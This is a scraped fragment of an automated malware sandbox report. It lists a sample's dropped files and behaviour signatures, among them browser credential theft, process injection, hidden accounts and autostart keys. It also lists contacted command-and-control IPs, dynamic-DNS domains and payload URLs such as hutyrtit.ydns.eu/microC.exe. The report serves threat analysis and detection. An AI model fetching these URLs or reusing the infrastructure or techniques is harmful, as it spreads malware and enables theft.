C:\Program Files\Microsoft DN1\sqlmap.dll, PE32+ 55->84 dropped 86 C:\Windows\System32\rfxvmt.dll, PE32+ 55->86 dropped 144 Hides user accounts 55->144 146 Tries to harvest and steal browser information (history, passwords, etc) 55->146 148 Writes to foreign memory regions 55->148 152 3 other signatures 55->152 62 iBCrDCK.i.exe 55->62         started        65 cmd.exe 55->65         started        150 Creates an undocumented autostart registry key 60->150 file21 signatures22 process23 signatures24 158 Multi AV Scanner detection for dropped file 62->158 160 Machine Learning detection for dropped file 62->160 162 Injects a PE file into a foreign processes 62->162 67 iBCrDCK.i.exe 62->67         started        72 iBCrDCK.i.exe 62->72         started        process25 dnsIp26 100 hhjhtggfr.duckdns.org 67->100 74 C:\Program Files (x86)\...\smtpsvc.exe, PE32 67->74 dropped 76 C:\Users\user\AppData\Roaming\...\run.dat, International 67->76 dropped 138 Hides that the sample has been downloaded from the Internet (zone.identifier) 67->138 file27 signatures28
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
203.159.80.186
 newhosteeeee.ydns.eu Netherlands
47987 LOVESERVERSGB false
203.159.80.165
 hutyrtit.ydns.eu Netherlands
47987 LOVESERVERSGB false

Contacted Domains

Name IP Active
newhosteeeee.ydns.eu 203.159.80.186 true
sdafsdffssffs.ydns.eu 203.159.80.186 true
hutyrtit.ydns.eu 203.159.80.165 true
hhjhtggfr.duckdns.org 203.159.80.186 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://hutyrtit.ydns.eu/microC.exe true
  • Avira URL Cloud: malware
 unknown
http://newhosteeeee.ydns.eu/putty.exe true
    		unknown